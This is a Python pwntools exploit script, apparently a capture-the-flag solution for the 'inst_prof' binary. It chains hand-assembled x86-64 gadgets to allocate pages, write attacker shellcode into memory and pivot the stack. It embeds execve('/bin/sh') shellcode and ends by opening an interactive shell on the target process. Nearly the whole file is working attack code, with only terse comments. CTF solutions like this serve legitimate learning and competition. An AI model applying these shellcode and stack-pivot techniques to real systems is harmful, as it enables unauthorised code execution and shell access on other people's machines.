#!/usr/bin/env python
# -*- coding: utf-8 -*-

import pwn


def exploit(payload):
    p = pwn.process("./inst_prof")
    # p = pwn.remote("inst-prof.ctfcompetition.com", 1337)

    p.recvuntil("ready\n")
    p.send(payload)
    p.clean()
    print("Exploited")
    p.interactive()


# list of useful group 4 bytes
# I compiled them using this online service
# yeah I'm a lamer I didn't do runtime compilation ... :)
# https://defuse.ca/online-x86-assembler.htm#disassembly

pop_push_r15 = b"\x41\x5F\x41\x57"
mov_r15_rbx = b"\x49\x89\xDF\xC3"
inc_r15_ret = b"\x49\xFF\xC7\xC3"
dec_r15_ret = b"\x49\xFF\xCF\xC3"
dec_4096_r15_nop = b"\x49\xFF\xCF\x90"
dec_4096_rbx_nop = b"\x48\xFF\xCB\x90"
dec_4096_r14_nop = b"\x49\xFF\xCE\x90"
pop_push_r14 = b"\x41\x5E\x41\x56"
dec_r14_ret = b"\x49\xFF\xCE\xC3"

call_r15_ret = b"\x41\xFF\xD7\xC3"
jmp_r15_ret = b"\x41\xFF\xE7\xC3"

mov_r14_rbx = b"\x49\x89\xDE\xC3"  #  r14 = rbx
# this payload enable us to set params (rax) and jump to r14
magic = b"\x49\x97\x41\x56"
# 0:  49 97                   xchg   r15,rax
# 2:  41 56                   push   r14
# 0xb4d: pop rbx ; pop r12 ; pop rbp ; ret
# saved_rip + 0x35
# 0x555555554b51: ret
write_r14_to_r15 = b"\x4D\x89\x37\xC3"
push_x35_pop_r13 = b"\x6A\x35\x41\x5D"
# 0:  4d 89 37                mov    QWORD PTR [r15],r14
# 3:  c3                      ret
# shorter than mov r13, 8
push_8_pop_r13 = b"\x6A\x08\x41\x5D"
add_r15_r13_ret = b"\x4D\x01\xEF\xC3"
add_r14_r13_ret = b"\x4D\x01\xEE\xC3"
mov_rsp_r15_ret = b"\x4C\x89\xFC\xC3"

infinite_loop = b"\xeb\xfe\x90\x90"


# movb [r15], x
def mov_to_r15(x):
    return b"\x41\xC6\x07" + bytes([x])


def create_payload(shellcode):
    # ----- call alloc_page
    # r15 = saved_rip
    yield pop_push_r15
    # saved_rip - 0x128 => alloc_page
    for _ in range(0x128):
        yield dec_r15_ret
    # alloc one page for our fake stack
    yield call_r15_ret  # jump alloc_page
    # alloc one page for our shellcode
    yield call_r15_ret  # jump alloc_page

    # ----- write shellcode to our page
    # put allocated page in r15
    offset = 40
    yield mov_r15_rbx  # get current page
    yield dec_4096_r15_nop  # go to our page
    # pass the offset
    for _ in range(offset):
        yield inc_r15_ret

    # write stack pivot
    # setup pop rbx gadget
    yield pop_push_r14
    # r14 = 0x35
    yield push_x35_pop_r13
    yield add_r14_r13_ret

    yield push_8_pop_r13  # used for all += 8

    yield write_r14_to_r15
    yield add_r15_r13_ret  # r15 += 8

    yield mov_r14_rbx
    yield dec_4096_r14_nop  # go to our fake stack page
    yield dec_4096_r14_nop  # go to our shellcode page

    for _ in range(3):
        yield write_r14_to_r15
        yield add_r15_r13_ret  # r15 += 8

    # r14 = code reuse (just after the call of read_inst)
    # r14 = 0xB00
    # r14 = saved_rip - 0x18
    yield pop_push_r14
    for _ in range(0x18):
        yield dec_r14_ret
    yield write_r14_to_r15
    yield add_r15_r13_ret  # r15 += 8

    yield mov_r15_rbx
    yield dec_4096_r15_nop  # go to our fake stack page
    yield dec_4096_r15_nop  # go to our shellcode page
    # write shellcode in shellcode page
    for c in shellcode:
        yield mov_to_r15(c)
        yield inc_r15_ret

    yield mov_r15_rbx  # get current page
    yield dec_4096_r15_nop  # go to our page
    # pass the offset
    for _ in range(offset):
        yield inc_r15_ret

    yield mov_rsp_r15_ret  # stack pivot


if __name__ == "__main__":
    # shellcode = b"\xeb\xfe" # infinite loop
    shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    payload = b''.join(create_payload(shellcode))
    exploit(payload)
